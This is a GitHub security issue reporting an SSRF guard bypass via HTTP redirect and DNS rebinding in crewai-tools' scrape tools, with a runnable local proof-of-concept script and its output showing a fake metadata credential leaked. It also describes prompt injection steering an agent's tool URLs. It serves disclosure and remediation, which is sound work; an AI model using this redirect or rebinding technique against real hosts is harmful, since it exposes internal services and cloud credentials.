Skip to content

SSRF filter bypass via HTTP redirect (and DNS rebinding) in the crewai-tools scrape tools #6520

Description

@geo-chen

Description

Summary

The SSRF guard validate_url resolves and blocklists the supplied hostname once, then returns the original URL string. The scrape tools then fetch that URL with requests.get and default redirect-following, with no re-validation of the redirect target. A URL pointing at a public host that 30x-redirects to an internal address (loopback, RFC1918, or the cloud metadata endpoint) fully bypasses the guard. The same one-shot-validation design is also vulnerable to DNS rebinding. Confirmed against the validate_url and requests: the validator passed a public URL, the redirect reached blocked 127.0.0.1, and an internal secret was exfiltrated.

Details

Guard: lib/crewai-tools/src/crewai_tools/security/safe_path.py:136 validate_url does socket.getaddrinfo() of the hostname and blocks private/reserved IPs, returning the original URL string unchanged.

Sink: lib/crewai-tools/src/crewai_tools/tools/scrape_website_tool/scrape_website_tool.py:78-84:

website_url = validate_url(website_url)
page = requests.get(website_url, timeout=15, headers=..., cookies=...)  # no allow_redirects=False

requests follows the attacker's Location: header to an internal address without revalidating. The identical pattern is in scrape_element_from_website/scrape_element_from_website.py:86-91. A grep confirms allow_redirects appears nowhere in lib/, so redirects are always on.

In crewAI, tool arguments (website_url) are LLM-controlled at runtime, and the LLM is routinely steered by untrusted web/document content it has retrieved (indirect prompt injection), content the operator did not author. validate_url was added precisely to stop SSRF to internal services and cloud metadata; this redirect bypass defeats it. The boundary crossed is untrusted-content-driven tool input reaching SSRF to internal network / 169.254.169.254 metadata (credential theft). The redirect bypass is deterministic and needs no race; DNS rebinding is an additional vector against the same one-shot design.

PoC

poc_crewai_ssrf_redirect.py - see script below.

An attacker-influenced website_url points at a public host that returns 302 Location: http://169.254.169.254/latest/meta-data/... (or http://127.0.0.1/...).

Validated by loading the crewai_tools/security/safe_path.py, binding an "attacker" server on 100.100.65.36 (CGNAT 100.64/10, intentionally not in the blocklist so it passes validate_url) returning 302 Location: http://127.0.0.1:8772/latest/meta-data/, and running the exact tool sequence validate_url(url) then requests.get(url):

Step 1: validate_url PASSED, returned: http://100.100.65.36:8771/
Step 2: validate_url correctly blocks direct internal URL 'http://127.0.0.1:8772/' (private/reserved IP)
Step 3: Final URL after redirects: http://127.0.0.1:8772/latest/meta-data/
        Status: 200
        Body fetched from INTERNAL service: 'INTERNAL-METADATA-SECRET-TOKEN-credentials=AKIA_ROOT'
*** SSRF CONFIRMED: validate_url passed, redirect reached BLOCKED 127.0.0.1, internal secret exfiltrated ***

The validator blocks the internal IP when supplied directly, but the redirect reaches it and the internal secret is returned to the agent. The existing test suite tests only direct blocking; no redirect/rebinding test exists.

Impact

An agent using either scrape tool can be driven (via untrusted page content / prompt injection or a directly attacker-supplied URL) to read internal-only services and cloud instance-metadata credentials and return their contents to the attacker, despite the SSRF guard. Scope is changed (access to internal systems / metadata creds via the agent host).

Remediation

In the scrape tools, pass allow_redirects=False, or wrap requests in a session that re-runs validate_url/the IP blocklist on every redirect hop. Better, resolve the hostname once in validate_url and pin/connect to the validated IP (custom transport adapter) so the fetched IP equals the checked IP, closing both the redirect and DNS-rebinding bypasses. Add tests for a 302 redirect to 169.254.169.254/127.0.0.1 and for DNS rebinding.

Steps to Reproduce

poc_crewai_ssrf_redirect.py:

"""
Self-contained, runnable PoC for: SSRF guard bypass via HTTP redirect in
crewai-tools scrape tools (validate_url one-shot check, no redirect re-check).

Usage:
  CREWAI_SRC=/path/to/crewAI/lib/crewai-tools/src python3 poc_crewai_ssrf_redirect.py

Against the vulnerable commit (50b9c02, uses validate_url()+requests.get()
directly) this prints SSRF CONFIRMED and leaks the internal secret.
Against current main (>= commit 5d4851e, safe_requests.safe_get()) this
raises ValueError and the internal secret is never fetched.

No root / special network privileges required. socket.getaddrinfo is
monkeypatched ONLY to simulate what a attacker-controlled/rebinding DNS
answer looks like for a single fake hostname; the actual HTTP fetch, redirect
handling, and every byte of crewai_tools code under test are unmodified.
"""
import importlib.util
import os
import socket
import sys
import threading
import types
from http.server import BaseHTTPRequestHandler, HTTPServer

SRC = os.environ.get("CREWAI_SRC", "./lib/crewai-tools/src")


def _load_standalone(dotted_name, file_path):
    """Load a module by file path without triggering crewai_tools/__init__.py
    (which pulls in the full crewai package, not needed to test these two
    dependency-free security modules)."""
    spec = importlib.util.spec_from_file_location(dotted_name, file_path)
    module = importlib.util.module_from_spec(spec)
    sys.modules[dotted_name] = module
    spec.loader.exec_module(module)
    return module


sys.modules.setdefault("crewai_tools", types.ModuleType("crewai_tools"))
sys.modules.setdefault("crewai_tools.security", types.ModuleType("crewai_tools.security"))
_load_standalone(
    "crewai_tools.security.safe_path", os.path.join(SRC, "crewai_tools/security/safe_path.py")
)
if os.path.exists(os.path.join(SRC, "crewai_tools/security/safe_requests.py")):
    _load_standalone(
        "crewai_tools.security.safe_requests",
        os.path.join(SRC, "crewai_tools/security/safe_requests.py"),
    )

INTERNAL_SECRET = b"INTERNAL-METADATA-SECRET-TOKEN-credentials=AKIA_ROOT"
ATTACKER_HOST = "public-looking-cdn.ssrf-poc.test"  # not a DNS name
FAKE_PUBLIC_IP = "93.184.216.34"  # example.com's public IP, used only to pass the check


class Internal(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(INTERNAL_SECRET)

    def log_message(self, *a):
        pass


class Attacker(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", f"http://127.0.0.1:{internal_port}/secret")
        self.end_headers()

    def log_message(self, *a):
        pass


def serve(handler):
    srv = HTTPServer(("127.0.0.1", 0), handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv


internal_srv = serve(Internal)
internal_port = internal_srv.server_port
attacker_srv = serve(Attacker)
attacker_port = attacker_srv.server_port

# Simulate an attacker-controlled DNS answer for ATTACKER_HOST: the first
# lookup (performed by validate_url's SSRF check) resolves to a public
# IP so the check passes; the second lookup (performed moments later by
# requests/urllib3 when it actually opens the connection) resolves to our
# local attacker server. This is exactly what a rebinding-capable
# nameserver does, and it is the only way to demonstrate the gap locally
# without owning a routable non-RFC1918 IP to bind.
_real_getaddrinfo = socket.getaddrinfo
_calls = {"n": 0}


def fake_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        _calls["n"] += 1
        target_ip = FAKE_PUBLIC_IP if _calls["n"] == 1 else "127.0.0.1"
        return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (target_ip, attacker_port))]
    return _real_getaddrinfo(host, port, *args, **kwargs)


socket.getaddrinfo = fake_getaddrinfo

url = f"http://{ATTACKER_HOST}:{attacker_port}/"

print(f"Target URL (attacker-controlled, looks public): {url}")
print(f"Internal victim server: http://127.0.0.1:{internal_port}/secret\n")

try:
    from crewai_tools.security.safe_requests import safe_get

    print("Using fixed path: crewai_tools.security.safe_requests.safe_get()")
    resp = safe_get(url, timeout=5)
    print(f"UNEXPECTED: request succeeded, status={resp.status_code}, body={resp.text!r}")
    print("*** NOT BLOCKED ***")
except ImportError:
    from crewai_tools.security.safe_path import validate_url
    import requests

    print("Using vulnerable path: validate_url() + requests.get() (no allow_redirects=False)")
    checked_url = validate_url(url)
    print(f"Step 1: validate_url PASSED, returned: {checked_url}")
    resp = requests.get(checked_url, timeout=5)
    print(f"Step 2: final URL after redirects: {resp.url}")
    print(f"        status={resp.status_code} body={resp.text!r}")
    if resp.content == INTERNAL_SECRET:
        print("*** SSRF CONFIRMED: validate_url passed, redirect reached internal server, secret exfiltrated ***")
except ValueError as e:
    print(f"BLOCKED as expected: {e}")
    print("*** FIX CONFIRMED: redirect target was re-validated and rejected ***")

crewAI Version

commit 50b9c02

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions